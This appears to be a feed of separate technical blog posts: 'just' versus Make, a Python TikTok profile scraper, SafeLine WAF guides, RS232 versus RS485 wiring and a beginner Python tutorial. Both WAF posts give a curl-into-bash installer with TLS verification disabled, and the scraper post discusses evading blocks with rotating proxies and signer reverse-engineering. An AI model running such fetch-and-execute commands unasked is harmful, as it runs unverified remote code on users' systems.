Nothing complicated.

But while doing this, I kept seeing just mentioned in newer projects.

That made me curious.

Not because I thought Make was bad. I still use it a lot, and I have no problem reaching for it.

I just wondered what just was doing differently.

Was it basically Make with different syntax? Was it easier to use? Did it solve some of the small annoyances that come with Make?

So I decided to rebuild the same thing in just and see.

The `just` version

The nice thing was that I didn't have to change any of the actual commands.

I just changed the wrapper around them:

format:
    uv run ruff format --check .

lint:
    uv run ruff check .

typecheck:
    uv run mypy src/

test:
    uv run pytest --cov=src --cov-report=term-missing

ci: format lint typecheck test

That's pretty much the whole file.

Now I can run:

just format
just lint
just typecheck
just test

Or everything with:

just ci

The ci recipe depends on the other four recipes, so just ci runs them in order and stops when one fails.

For what I was trying to do, it felt very familiar.

And that was probably the first thing I noticed. I didn't really have to learn a new way of thinking about the problem.

A few things I liked about `just`

The basic syntax is very similar to Make.

You have a recipe, optional dependencies, and then the commands to run:

recipe_name: dependency1 dependency2
    command to run

But there are a few differences that make sense when you're using it mainly as a task runner.

No `.PHONY`

With Make, you often have something like:

.PHONY: format lint typecheck test ci

That's because Make is also a build system and cares about files and timestamps.

For these development commands, I don't really need that behaviour.

just doesn't use file timestamps to decide whether a recipe needs to run, so there is no .PHONY declaration to maintain.

No tab problem

Then there is the classic Make issue where a command needs to be indented with a tab.

I've definitely lost time to that one.

With just, you don't have that same tab requirement. You use normal indentation.

It might seem like a small thing, but I like small improvements in tools I use.

`just --list`

This was another nice surprise.

You can run:

just --list

and get a list of the recipes available in the project.

You can add comments above recipes too:

# Format check
format:
    uv run ruff format --check .

# Run tests
test:
    uv run pytest --cov=src --cov-report=term-missing

Those comments can then show up when listing the recipes.

You can also make just itself show the list:

default:
    @just --list

So a developer can clone the project and run:

just

to see what is available.

I like that because the task runner becomes a small piece of documentation.

But is `just` actually better than Make?

I'm not sure that's the right question.

Make is still a great choice in plenty of situations.

If I'm working on a project that already has a Makefile, I'm not going to suggest replacing it with just just because just is newer.

And if I'm writing something that needs to work in an environment where Make is already installed, that is a pretty good reason to use Make.

The thing I found interesting about just is that it feels more focused on the thing I was actually trying to do.

I wasn't building anything based on file timestamps.

I just wanted names for common commands and a way to combine them.

For that use case, just is pretty nice.

But it also comes with a trade-off. Unlike Make, you probably have to install it first.

So the comparison for me looks something like this:

	Make	just
Already installed	Often	Usually not
Task runner	Yes	Yes
Build system	Yes	No
`.PHONY`	Often needed	Not needed
Tab requirement	Yes	No
Task listing	DIY	Built in
Cross-platform	Possible	Designed for it

Neither one wins across the board.

Make has ubiquity.

just has a nice developer experience.

Which one makes more sense depends on the project.

There are other options too

Once I started looking into this, I found quite a few other tools doing roughly the same thing.

Task (go-task) was one I came across. It uses a YAML Taskfile.yml and has some useful features around variables and templating.

For Python, poethepoet was another interesting option. It lets you put tasks in pyproject.toml, which can be nice if you don't want another configuration file.

And if you're working in Node, npm scripts already give you a similar setup through package.json.

They all solve a similar problem.

You have a bunch of commands that developers need to run, and you give those commands names so people don't have to remember all the details.

The differences are mostly around syntax, ecosystem, and how much functionality you want.

So, am I switching to `just`?

For everything? No.

I'm still going to use Make.

If I open a project and there is a Makefile, I'll use it. If I'm working on infrastructure where Make is already expected, I'll probably use it there too.

But for projects I start myself, I can see myself reaching for just.

The thing I liked most was how little there was to learn.

My existing commands stayed exactly the same. I just put a small, readable interface around them.

That brought me back to why I started looking at this in the first place.

In Elixir, I'm used to having commands like:

mix ci

that give the project a simple interface for common development tasks.

With Python, I found myself wanting the same thing.

Make was one way to do it.

just is another.

I'm glad I spent the time learning it. Not because it replaced Make, but because now I know another tool that fits this particular problem really well.

And sometimes that's enough of a reason to try something new.

TikTok Scraper in Python: Profiles, Videos and the Walls You'll Hit (2026)

Mon, 12 Oct 2026 10:59:19 +0000

"How do I scrape TikTok?" usually means one of three things: follower counts for a list of creators, the latest videos from an account with their views and likes, or tracking how those numbers change over time. This guide builds that in plain Python, shows what works without a browser, and explains where the DIY approach stops working.

What you can get without logging in

TikTok's web app is a React app, but the first HTML response for a profile page (https://www.tiktok.com/@handle) contains a big JSON blob in a script tag:

<script id="__UNIVERSAL_DATA_FOR_REHYDRATION__" type="application/json">{...}</script>

Inside it, __DEFAULT_SCOPE__["webapp.user-detail"]["userInfo"] holds the profile (user) and its counters (stats). That's public data, and you can read it with requests and the standard json module. You don't need BeautifulSoup.

The video list is different. The grid loads from an internal endpoint (/api/post/item_list/) that needs signed query parameters (msToken, X-Bogus, X-Gnarly, and so on) produced by obfuscated JavaScript. The signing changes often, so we'll treat that part as a known limit and come back to it later.

Setup

python -m venv .venv && source .venv/bin/activate
pip install requests

Step 1: Fetch a profile

import json
import re
import time
import requests

SESSION = requests.Session()
SESSION.headers.update({
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/129.0 Safari/537.36"
    ),
    "Accept-Language": "en-US,en;q=0.9",
})

DATA_RE = re.compile(
    r'<script id="__UNIVERSAL_DATA_FOR_REHYDRATION__"[^>]*>(.*?)</script>',
    re.S,
)

class ProfileError(Exception):
    pass

def fetch_profile(handle: str) -> dict:
    handle = handle.lstrip("@")
    resp = SESSION.get(f"https://www.tiktok.com/@{handle}", timeout=20)
    resp.raise_for_status()

    match = DATA_RE.search(resp.text)
    if not match:
        raise ProfileError("rehydration blob missing (blocked or layout changed)")

    data = json.loads(match.group(1))
    detail = data.get("__DEFAULT_SCOPE__", {}).get("webapp.user-detail", {})
    if detail.get("statusCode", 0) != 0:
        raise ProfileError(f"TikTok statusCode {detail.get('statusCode')}")

    info = detail["userInfo"]
    user, stats = info["user"], info["stats"]
    return {
        "handle": user["uniqueId"],
        "id": user["id"],
        "sec_uid": user["secUid"],
        "nickname": user.get("nickname"),
        "verified": user.get("verified", False),
        "private": user.get("privateAccount", False),
        "bio": user.get("signature", ""),
        "followers": stats.get("followerCount"),
        "following": stats.get("followingCount"),
        "likes": stats.get("heartCount") or stats.get("heart"),
        "videos": stats.get("videoCount"),
    }

if __name__ == "__main__":
    print(fetch_profile("@tiktok"))

A few details that will save you some debugging:

Check statusCode, not just the HTTP status. TikTok returns HTTP 200 for missing or banned accounts. The blob then carries a non-zero statusCode (10221 or 10202 are common) and no userInfo.
Keep sec_uid. Handles can change, but the numeric id and secUid don't. Use them as your primary key.
Don't parse the visible "1.2M". The JSON holds exact integers, so use those.

Step 2: Store snapshots in SQLite

A single scrape is a fact. A series of scrapes shows a trend. Store every run as a row, so growth is just a SELECT:

import sqlite3
from datetime import datetime, timezone

def init_db(path="tiktok.db"):
    db = sqlite3.connect(path)
    db.execute("""
        CREATE TABLE IF NOT EXISTS profile_snapshots (
            user_id   TEXT NOT NULL,
            handle    TEXT NOT NULL,
            taken_at  TEXT NOT NULL,
            followers INTEGER,
            likes     INTEGER,
            videos    INTEGER,
            PRIMARY KEY (user_id, taken_at)
        )
    """)
    return db

def save_snapshot(db, p):
    db.execute(
        "INSERT OR IGNORE INTO profile_snapshots VALUES (?,?,?,?,?,?)",
        (p["id"], p["handle"],
         datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:00Z"),
         p["followers"], p["likes"], p["videos"]),
    )
    db.commit()

The taken_at value is rounded to the hour, so if a cron job accidentally runs twice in an hour, INSERT OR IGNORE drops the duplicate.

Step 3: Loop over many creators politely

import random

def run(handles, db):
    for h in handles:
        for attempt in range(3):
            try:
                save_snapshot(db, fetch_profile(h))
                print("ok", h)
                break
            except ProfileError as e:
                print("skip", h, e)
                break
            except requests.RequestException as e:
                wait = 2 ** attempt * 5
                print("retry", h, e, f"in {wait}s")
                time.sleep(wait)
        time.sleep(random.uniform(3, 7))

if __name__ == "__main__":
    db = init_db()
    run(["tiktok", "nasa", "duolingo"], db)

Then the growth query looks like this:

SELECT handle,
       MAX(followers) - MIN(followers) AS gained,
       COUNT(*) AS samples
FROM profile_snapshots
WHERE taken_at >= strftime('%Y-%m-%dT00:00Z', 'now', '-7 days')
GROUP BY handle
ORDER BY gained DESC;

The walls you'll hit

This is where most TikTok tutorials stop being honest. Here's what actually happens once the script runs on a schedule:

Datacenter IPs get a different page. From a cloud VM you will often get a page with no rehydration blob, a "verify" screen, or a redirect. It works from a home connection and fails on a server. Residential proxies help, but they cost money and you have to rotate them.
The blob moves. In the last few years the data has lived in SIGI_STATE, then in __UNIVERSAL_DATA_FOR_REHYDRATION__, with different key paths each time. Wrap the parsing in a single function (as above) and alert when it raises, so a layout change doesn't silently produce empty rows.
Videos need signatures. The profile HTML sometimes includes a few items, but often none. Full pagination goes through item_list with signed parameters. The DIY options are running a headless browser (Playwright) and capturing the XHR responses while scrolling, or reverse-engineering the signer. Both work, both are slow or fragile, and both break when TikTok ships a new bundle.
Region matters. The same handle can return different counts or videos depending on the exit country. Pin your proxy region if you compare numbers over time.
Rate limits are soft. You won't get a clean 429. Instead, responses quietly degrade to empty blobs. Track the empty-response rate as a health metric.
Respect the data. Only collect public data, store what you actually need, and check TikTok's terms and your local privacy rules (GDPR applies to creator data in the EU).

When DIY stops being worth it

If you only need follower counts for a few dozen accounts, the script above, a cheap VPS, and maybe a proxy are enough. Once you need full video history with views, likes and comments, the signing problem eats your time.

That's the point where I switch to an API. For example, ScrapeAtlas* has a /v1/tiktok/profile/videos endpoint that takes a handle, a sort order (latest, popular, oldest), an optional since date, and a max_cursor for pagination. It returns the same itemList shape TikTok uses internally:

import os
import requests

API = "https://api.scrapeatlas.com/v1/tiktok/profile/videos"
HEADERS = {"x-api-key": os.environ["SCRAPEATLAS_API_KEY"]}

def all_videos(handle, since=None):
    params = {"handle": handle, "sort_by": "latest"}
    if since:
        params["since"] = since          # ISO 8601 or Unix seconds
    while True:
        r = requests.get(API, headers=HEADERS, params=params, timeout=60)
        r.raise_for_status()
        page = r.json()
        for v in page.get("itemList", []):
            s = v.get("stats", {})
            yield {
                "id": v["id"],
                "created": v["createTime"],
                "desc": v.get("desc", ""),
                "views": s.get("playCount"),
                "likes": s.get("diggCount"),
                "comments": s.get("commentCount"),
                "shares": s.get("shareCount"),
            }
        if not page.get("hasMore"):
            break
        params["max_cursor"] = page["cursor"]

for v in all_videos("nasa", since="2026-09-01"):
    print(v)

Since the fields match TikTok's own stats object, the SQLite schema above only needs a video_snapshots table next to profile_snapshots, and the rest of your pipeline stays the same.

Wrap-up

Profiles: requests plus the __UNIVERSAL_DATA_FOR_REHYDRATION__ blob, keyed on id/secUid, with statusCode checks.
Store hourly snapshots in SQLite and compute growth with SQL.
Expect IP blocking, layout changes and signed video endpoints. Decide early whether you'll maintain a browser or signer, or hand that part off.

If you've found a more stable way to get the video list, let me know in the comments.

*I build it.

What Is a WAF and How Does It Work? A Plain-English Guide

Sat, 10 Oct 2026 20:30:37 +0000

What Is a WAF and How Does It Work? A Plain-English Guide

If you run a website, you've probably been told to "put a WAF in front of it." Here's what that actually means — no jargon.

What "WAF" stands for

A Web Application Firewall protects your app at layer 7 (the application layer) — the part that speaks HTTP. Unlike a network firewall that only cares about IPs and ports, a WAF reads the content of requests and decides whether they're safe.

What problem it solves

Most web attacks arrive as ordinary-looking HTTP requests that carry malicious payloads: a login field stuffed with SQL, a URL containing a script tag, a flood of requests from a botnet. A WAF inspects those requests before they reach your application code and blocks the bad ones.

How it works

It sits in front of your app as a reverse proxy. Every request hits the WAF first.
It inspects the request — headers, URL, body, and cookies.
It decides allow / block / challenge based on its detection logic.
Clean traffic passes through to your app; everything else is stopped.

Two ways WAFs detect attacks

Signature-based: matches known attack patterns (like an antivirus). Needs constant updating, and novel attacks slip through.
Semantic analysis: understands what a request is trying to do (for example, "this is a SQL command"), so it catches variants without a signature. SafeLine uses this approach, which keeps false positives low.

Where it sits

A self-hosted WAF like SafeLine runs on your own server as a reverse proxy. You install it with one command:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

Then open https://<your-server-ip>:9443, point it at your app, and it filters traffic. No third party in the path, no DNS change.

WAF vs firewall vs IPS

Network firewall: controls who can connect (IPs and ports).
IPS: blocks known network intrusions.
WAF: understands HTTP and blocks application-layer attacks. They're complementary, not interchangeable.

FAQ

Do I need a WAF if I use a CDN?

Many CDNs include a basic WAF, but a dedicated WAF gives finer control over application-layer rules. SafeLine focuses purely on that layer.

Will a WAF slow my site down?

A well-tuned WAF adds minimal latency. SafeLine's free tier handles 800 QPS per instance.

Is a WAF enough on its own?

It covers the application layer. Pair it with good patching, rate limiting, and (if needed) a CDN for fuller coverage.

Can I self-host a WAF for free?

Yes. SafeLine's Community Edition is free for up to 10 apps at 800 QPS and runs on a server you already have.

Ready to protect your sites without paying for a cloud WAF?

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — see the dashboard in action (no login required)

RS232 vs RS485 in a Vehicle: Which Serial Port for Which Peripheral

Fri, 09 Oct 2026 02:19:45 +0000

RS232 and RS485 both turn up on the same vehicle-terminal spec sheet, and integrators routinely wire the wrong one. The choice is not about speed or age. It comes down to two questions: how many devices are on the line, and how far does the cable run?

The actual difference: single-ended vs differential

RS232 sends each signal as a voltage measured against a shared ground. That works over a short cable in a quiet electrical environment.

RS485 sends over a twisted pair and reads the difference between the two wires. Interference that hits the cable hits both wires roughly equally, and cancels out when the receiver subtracts one from the other.

Distance, device count and noise immunity all follow from that one design difference.

	RS232	RS485
Signalling	Single-ended (vs ground)	Differential (twisted pair)
Topology	Point-to-point	Multidrop bus
Devices per port	1	Up to 32 (more with repeaters)
Practical cable run	~15 m	~1200 m
Noise immunity	Low	High
Termination	No	Yes, 120 ohm at both bus ends
Addressing	Not needed	Required (each node needs an ID)

Which one for which peripheral

Anything within arm's reach of the operator and connecting to exactly one port goes on RS232. Anything that leaves the cab, down a boom, along a trailer or across a yard, goes on RS485, even if it is the only device on that line, because the distance alone rules RS232 out.

Where RS232 fails quietly

The failure that catches people out is not a dead link, it is an intermittent one. An RS232 run of 20 to 30 m will often work on a bench, and work on the machine while it is parked. Then it starts dropping characters once the hydraulics engage or a motor starts nearby.

Because the fault only appears under load, it usually gets blamed on software or the peripheral for weeks before anyone re-examines the cable. If a serial link is flaky on a working machine but fine in the workshop, check cable length and signalling type first.

RS485 wiring that people skip

Termination: a 120 ohm resistor at each end of the bus, not at every node. Missing termination causes reflections that look identical to random data corruption.
Daisy-chain, not star: RS485 is a linear bus. Branching it into a star causes reflections even with correct termination.
Unique node addresses: two devices sharing an address will both answer and corrupt each other's replies.
Twisted pair, not any two conductors: the noise cancellation depends on both wires following the same physical path.

Neither replaces CAN bus

CAN bus reads the vehicle's own network (engine data, fault codes, implement messages under J1939 or ISOBUS). Serial ports connect peripherals the vehicle maker never installed: scanners, printers, weigh scales, third-party sensors. A typical deployment uses all of them at once, which is why interface count, not just interface type, decides whether a terminal fits a job.

A real example

A contractor fitting terminals to self-propelled sprayers needed three things per machine: a cab-mounted barcode scanner for chemical batch logging, a legacy GNSS receiver, and four tank-level probes spread along a 28 m boom.

The first install put everything on RS232 with extended cables. The scanner and receiver worked. The boom probes dropped readings whenever the pump ran. Rewiring the four probes as a single RS485 bus with 120 ohm termination at both ends fixed it. The scanner and receiver stayed on RS232, where their short runs were never the problem.

FAQ

Can I convert RS232 to RS485 with an adapter? Yes, but each converter adds a powered component and a connection point that can fail in a vibrating vehicle. A native port avoids both.

Is RS485 faster than RS232? Not inherently at short distances. The real advantage is that RS485 holds its data rate over long runs where RS232 degrades.

Do I need termination on a short RS485 bus? Under a few metres it often works without, but termination costs nothing and removes an intermittent fault that is hard to diagnose later.

How many RS485 devices can share one bus? The standard allows 32 nodes. In practice, polling time becomes the limit before the electrical limit does, since the terminal queries each address in turn.

Which should I specify on a new build? Default to RS485 unless you have a specific reason not to. One device under 15 m can use either. More than one device, or any run past 15 m, and RS485 is the one that works reliably in a vehicle.

I work on rugged vehicle-mount terminals at CF-Device. The full write-up, including the spec-sheet checklist, is on our site: RS232 vs RS485 for Rugged Vehicle Tablets.

How to Monitor WAF Logs and Alerts

Thu, 08 Oct 2026 02:41:06 +0000

How to Monitor WAF Logs and Alerts

Installing a WAF is step one. Reading what it logs is step two — and the step most teams skip. A WAF you never watch is a sensor you never act on: false positives slip through to real users, new attack patterns go unnoticed, and you can't tell whether your rules are working.

Here's how to build a monitoring habit around your WAF logs.

What's actually worth watching

Not every log line matters. Focus on a short list:

Blocked requests over time. A sudden spike usually means a scan or an active attack. A flat line at zero means your WAF might not be in the path at all (verify traffic is flowing through it).
Attack type breakdown. Injection, XSS, path traversal, bot abuse. Knowing the mix tells you what to harden upstream.
Top source IPs. Repeat offenders are prime candidates for blocking or rate limiting.
False positives. Requests that were blocked but look legitimate. These are the logs that cost you real users — review them first.
Traffic trends. Baseline normal so anomalies stand out.

Monitoring with SafeLine

SafeLine's console includes a statistics view that surfaces exactly these signals — blocked requests, attack categories, and source breakdowns — without you grepping raw logs. You can explore the layout on the public demo (no login needed): https://demo.waf.chaitin.com:9443/statistics.

A practical cadence:

Daily (2 min): skim the last 24h of blocks, check for false positives.
Weekly (15 min): review top offenders, tune rules, allowlist any legit client that got caught.
On alert: any large spike in blocks triggers a closer look.

Turning logs into alerts

Watching a dashboard only works if someone's looking. Add triggers so the dashboard comes to you:

Block-rate spike: alert when blocks per minute exceed, say, 3× your baseline.
Repeated false positives: alert when the same URL/parameter is blocked repeatedly for what looks like legitimate traffic.
New attack signature: alert on an attack type you haven't seen before.

If you run a SIEM, forward the WAF logs into it so WAF events correlate with everything else in your stack. Even a simple cron + email on unusual counts catches most incidents.

From watching to improving

Logs are only valuable if they change what you do. Each review cycle:

Allowlist legitimate clients caught by over-broad rules.
Block repeat offenders surfacing in the top-IP list.
Harden upstream for the dominant attack type (patch the vulnerable endpoint, add input validation).
Re-baseline so next week's "normal" reflects your tuning.

FAQ

How do I know my WAF is actually seeing traffic?

Check the statistics view. If it shows zero requests over a period when your site is active, the WAF likely isn't in the request path — verify your reverse-proxy and upstream config.

Do I need a SIEM to monitor a WAF?

No. The console's statistics view covers most needs. A SIEM helps once you want WAF events correlated with the rest of your security tooling.

How often should I review logs?

Daily for false positives, weekly for tuning, and immediately on any alert spike.

What if I haven't deployed a WAF yet?

Install SafeLine (free Community Edition covers up to 10 apps at 800 QPS) with one command, then start this monitoring routine from day one:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

Deploy, then watch. A WAF you monitor is a WAF that actually protects you.

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — explore the statistics view (no login required)

Python Basics in the Matatu Context

Tue, 06 Oct 2026 09:19:50 +0000

Watch a matatu conductor work for one trip and you will see a programmer at full speed. He counts heads. He knows the fare. He takes a KSh 500 note from someone who owes KSh 70 and hands back the exact change without a pause. He also decides, by feel, when the vehicle is full enough to leave.

Listen to what he tracks: a number plate, a seat count, a fuel bill and a yes or no on whether the vehicle is full. That is text, a whole number, a decimal number and a true-or-false answer. Python cares about that difference, and once you see why, the basics stop looking like rules to memorise.

This article covers variables, four data types (string, integer, float and boolean), input and output, and the syntax that binds them together. Every example follows one fictional conductor working for the Mwananchi Express sacco. The fares, fuel prices and plate number are invented, so change them to match real life. Each code block shows the output you will see in your terminal.

Variables: names, not boxes

Most tutorials say a variable is a box that holds a value. The picture fails quickly, so use this one. A variable is a sticky note with a name on it. Python sticks the note onto a value. You can peel the note off and stick it on something else, and you can put two notes on one value.

plate = "KDD 482P"
seats = 14
fare_kes = 100
is_full = True

print(plate, seats, fare_kes, is_full)

$ python matatu.py
KDD 482P 14 100 True

The = sign does not mean "equals" the way it does in maths. It means "stick this name on that value." Python works out the right side first, then attaches the name on the left.

That order explains a line that would be nonsense in algebra. Say the sacco raises the fare by KSh 20:

fare_kes = fare_kes + 20
print(fare_kes)

Python takes the current value of fare_kes (100), adds 20, and moves the sticky note onto the result. Nothing was changed in place. The note moved.

Here is the two-notes idea at work:

x = 14
y = x        # y sits on the same value as x
x = 13       # x moves to a new value; y stays put
print(x, y)

13 14

Changing x did not touch y, because y never pointed at x. It pointed at the value 14.

Naming rules

A name can hold letters, digits and underscores. It cannot start with a digit, and it cannot be a word Python already uses, such as if or True. Names are case sensitive, so Seats and seats are two different notes.

Seats = 14
print(seats)

Traceback (most recent call last):
  File "matatu.py", line 2, in <module>
    print(seats)
          ^^^^^
NameError: name 'seats' is not defined. Did you mean: 'Seats'?

Read the error from the bottom. Python names the problem (NameError), names the culprit (seats), and guesses what you meant. Most Python errors help you this much once you learn to read them.

The community habit is snake_case: lowercase words joined by underscores. Put the unit in the name (fare_kes, fuel_litres) and you prevent a whole class of mistakes later. Values that should never change get capital letters, like SEATS. Python will let you change them anyway. The capitals are a note to the next reader.

The four data types

Every value has a type, and the type decides what you can do with it. Ask Python with type():

print(type(plate))
print(type(seats))
print(type(38.5))
print(type(is_full))

<class 'str'>
<class 'int'>
<class 'float'>
<class 'bool'>

Strings (`str`)

A string is text inside quotes. Single or double quotes both work. Pick one style and keep it.

sacco = "Mwananchi Express"

print(len(sacco))
print(sacco.upper())
print(sacco + " Sacco")
print(sacco[0])
print(sacco[:9])
print("Karibu! " * 2)

17
MWANANCHI EXPRESS
Mwananchi Express Sacco
M
Mwananchi
Karibu! Karibu!

len() counts characters, spaces included. The + sign glues strings together. Counting starts at zero, so sacco[0] is the first letter, and sacco[:9] means "everything before position 9." Multiplying a string by a number repeats it.

Strings suit phone numbers well. A Safaricom number is text, not a number, because nobody adds two phone numbers together and the leading zero matters. Here is how to turn a local number into the international form that M-Pesa integrations expect:

local_number = "0712345678"

print("+254" + local_number[1:])
print(len(local_number))
print(local_number.startswith("07"))

+254712345678
10
True

The slice [1:] means "everything from position 1 onward," which drops the leading zero. The startswith() method asks a question about the text, and the answer comes back as a boolean. We will meet booleans shortly.

A string that looks like a number is still a string. "14" and 14 are different things, and Python refuses to mix them:

print("Seats: " + 14)

Traceback (most recent call last):
  File "matatu.py", line 1, in <module>
    print("Seats: " + 14)
          ~~~~~~~~~~^~~~
TypeError: can only concatenate str (not "int") to str

You have to convert the number first. We cover that in a moment.

Integers (`int`)

An integer is a whole number. Python has three division-related operators, and beginners mix them up:

riders = 47

print(riders // 14)
print(riders % 14)
print(2 ** 10)
print(7 / 2)

The // operator divides and drops the remainder. A 14-seater carrying 47 riders in a day needs 3 full loads. The % operator keeps only the remainder: 5 riders are left for a fourth, partly empty trip. Together they answer "how many full loads, and what is left?", a question that turns up all the time. The ** operator raises a number to a power. The single / always returns a float, even when the answer is whole:

print(type(8 / 2), 8 / 2)

<class 'float'> 4.0

Floats (`float`)

A float is a number with a decimal point. Fuel is measured in litres and priced to the cent, so floats fit. Mixing an integer with a float gives a float:

print(3 * 1.5)

4.5

Floats have one quirk that startles everyone once:

print(0.1 + 0.2)
print(round(0.1 + 0.2, 2))

0.30000000000000004
0.3

Computers store numbers in binary. One tenth has no exact binary form, just as one third has no exact decimal form, so the machine stores a very close neighbour. The error is tiny, and it appears when you print raw results. Two habits protect you. Use round() or a format specifier when you display a float, and never test two floats for exact equality.

Booleans (`bool`)

A boolean is True or False, with a capital first letter. You will seldom type them yourself. Comparisons produce them:

boarded = 14
is_full = boarded >= seats
traffic_heavy = False

print(is_full)
print(is_full and not traffic_heavy)

True
True

The keywords and, or and not combine booleans. The expression is_full and not traffic_heavy asks: is the vehicle full, and is the road clear? Both hold, so the answer is True. Set traffic_heavy to True and the answer flips to False.

Converting between types

Python will not guess when you mix types, so you convert on purpose with int(), float(), str() and bool():

print(int("120") + 30)
print(float("38.5") * 2)
print(str(14) + " seats")
print(int(9.99))

150
77.0
14 seats
9

Notice that int(9.99) gives 9. Converting to an integer cuts off the decimals. It does not round.

Converting to a boolean has a trap:

print(bool(0), bool(1), bool(""), bool("no"))
print(bool("False"))

False True False True
True

bool() asks one question: is there anything here? Zero and the empty string count as nothing, so they become False. Everything else becomes True, including the text "False", which is a non-empty string. If you read the word "false" from a user, compare it with the text yourself. Do not pass it to bool().

Input and output

Python talks through print() and listens through input().

Output with `print()`

print() takes several values and puts a space between them. Two options change that: sep sets the separator, and end sets what closes the line (a newline by default).

print("Nairobi", "Thika", "Kenol", sep=" > ")
print("Counting heads...", end=" ")
print("done")

Nairobi > Thika > Kenol
Counting heads... done

For anything longer, use an f-string. Put an f before the opening quote and write expressions inside curly braces. After a colon you control the format:

fuel_cost = 5.5 * 190
print(f"{sacco} spent KSh {fuel_cost:.2f} on fuel")
print(f"KSh {1234567.891:,.2f}")

Mwananchi Express spent KSh 1045.00 on fuel
KSh 1,234,567.89

The .2f means "two digits after the decimal point," and the comma adds thousands separators. F-strings also fix the "Seats: " + 14 problem, because they convert values to text for you.

Input with `input()`

input() shows a prompt, waits for the user to type and press Enter, then hands you what they typed. In the transcripts below, the text after each prompt is what the user typed.

name = input("Conductor name: ")
print("Karibu,", name)

Conductor name: Maxwell
Karibu, Maxwell

Remember this rule: input() always returns a string. If the user types 3, you receive the text "3".

passengers = input("Passengers: ")
print(passengers + 1)

Passengers: 3
Traceback (most recent call last):
  File "matatu.py", line 2, in <module>
    print(passengers + 1)
          ~~~~~~~~~~~^~~
TypeError: can only concatenate str (not "int") to str

The fix is to convert the moment the value arrives: passengers = int(input("Passengers: ")). If the user types something that is not a number, int() raises a ValueError. Handling that needs try and except, which sit outside this article. For now, know that it can happen.

Syntax rules that hold it together

Python's syntax is small. Five rules cover most of what you will write this month.

Indentation is part of the language. Where other languages use braces, Python uses the four spaces at the start of a line to show what belongs inside an if. Leave them out and Python stops you:

seats = 14
if seats > 10:
print("big")

  File "matatu.py", line 3
    print("big")
    ^
IndentationError: expected an indented block after 'if' statement on line 2

A colon ends the line that opens a block (if, elif, else). Comments start with #, and Python ignores them, so use them to explain why you did something. A line break ends a statement, so you need no semicolons. And names are case sensitive, as you saw with Seats.

The if statement is the one piece of flow control we need. It runs a block only when a boolean is True. The second and third projects below use it.

Practical example 1: the conductor's change counter

A passenger owes KSh 70 and hands over a KSh 500 note. The conductor must return the right change, fast, and sometimes the passenger has paid too little. This program uses integers, division, a boolean and an if statement.

# change_counter.py
fare_kes = int(input("Fare (KSh): "))
paid_kes = int(input("Passenger paid (KSh): "))

enough = paid_kes >= fare_kes

if enough:
    change = paid_kes - fare_kes
    hundreds = change // 100
    small_change = change % 100
    print(f"Change due: KSh {change}")
    print(f"Give back: {hundreds} x KSh 100, plus KSh {small_change} in smaller notes or coins")
else:
    print(f"Short by KSh {fare_kes - paid_kes}. Ask for the rest.")

Two runs, one where the passenger overpays and one where they come up short:

$ python change_counter.py
Fare (KSh): 70
Passenger paid (KSh): 500
Change due: KSh 430
Give back: 4 x KSh 100, plus KSh 30 in smaller notes or coins

$ python change_counter.py
Fare (KSh): 70
Passenger paid (KSh): 50
Short by KSh 20. Ask for the rest.

Follow the arithmetic: 500 minus 70 is 430. Then 430 // 100 is 4, the number of hundred-shilling notes, and 430 % 100 is 30, what remains. The same // and % pair that counted full loads now counts notes.

Practical example 2: the trip profit calculator

At the end of a trip, the owner wants to know whether the trip paid for itself. Income is the passenger count times the fare. Costs are the fuel and a flat sacco fee. This program mixes integers and floats and ends on a boolean.

# trip_profit.py
FARE_KES = 100
SACCO_FEE_KES = 150

passengers = int(input("Passengers on this trip: "))
fuel_litres = float(input("Fuel used (litres): "))
price_per_litre = float(input("Fuel price (KSh per litre): "))

income = passengers * FARE_KES
fuel_cost = fuel_litres * price_per_litre
profit = income - fuel_cost - SACCO_FEE_KES
made_profit = profit > 0

print()
print(f"Income:    KSh {income:,.2f}")
print(f"Fuel:      KSh {fuel_cost:,.2f}")
print(f"Sacco fee: KSh {SACCO_FEE_KES:,.2f}")
print(f"Profit:    KSh {profit:,.2f}")
print("Trip paid for itself?", made_profit)

A full vehicle on one run, and a half-empty one on another:

$ python trip_profit.py
Passengers on this trip: 14
Fuel used (litres): 5.5
Fuel price (KSh per litre): 190

Income:    KSh 1,400.00
Fuel:      KSh 1,045.00
Sacco fee: KSh 150.00
Profit:    KSh 205.00
Trip paid for itself? True

$ python trip_profit.py
Passengers on this trip: 9
Fuel used (litres): 5.5
Fuel price (KSh per litre): 190

Income:    KSh 900.00
Fuel:      KSh 1,045.00
Sacco fee: KSh 150.00
Profit:    KSh -295.00
Trip paid for itself? False

The numbers show why conductors hate leaving half empty. Five fewer passengers turn a KSh 205 profit into a KSh 295 loss. Look at the types: passengers is an integer, fuel_litres is a float, and multiplying the integer by the integer constant gives an integer, while any product with a float gives a float. The :,.2f format makes every amount line up with two decimals and a thousands separator.

Practical example 3: the departure call

The hardest decision on the route is when to go. Leave too early and you lose fares. Wait too long and passengers get off. This program takes the number of people on board and the minutes spent waiting, turns them into three booleans, and decides.

# departure.py
SEATS = 14

boarded = int(input("Passengers on board: "))
minutes_waiting = int(input("Minutes waiting: "))

is_full = boarded >= SEATS
waited_long = minutes_waiting >= 20
half_full = boarded >= SEATS / 2

if is_full:
    print("Decision: full. Close the door and go.")
elif waited_long and half_full:
    print("Decision: enough people and enough waiting. Leave now.")
elif waited_long:
    print("Decision: long wait, few riders. Keep calling, but tell them the delay.")
else:
    print("Decision: keep calling for passengers.")

Four situations, four decisions:

$ python departure.py
Passengers on board: 14
Minutes waiting: 5
Decision: full. Close the door and go.

$ python departure.py
Passengers on board: 9
Minutes waiting: 25
Decision: enough people and enough waiting. Leave now.

$ python departure.py
Passengers on board: 4
Minutes waiting: 30
Decision: long wait, few riders. Keep calling, but tell them the delay.

$ python departure.py
Passengers on board: 6
Minutes waiting: 8
Decision: keep calling for passengers.

Python checks the if and elif lines from top to bottom and runs only the first block whose condition is true. That is why the full vehicle leaves even after five minutes: is_full is checked first. Notice that SEATS / 2 is a float (7.0), and comparing an integer with a float works without any conversion.
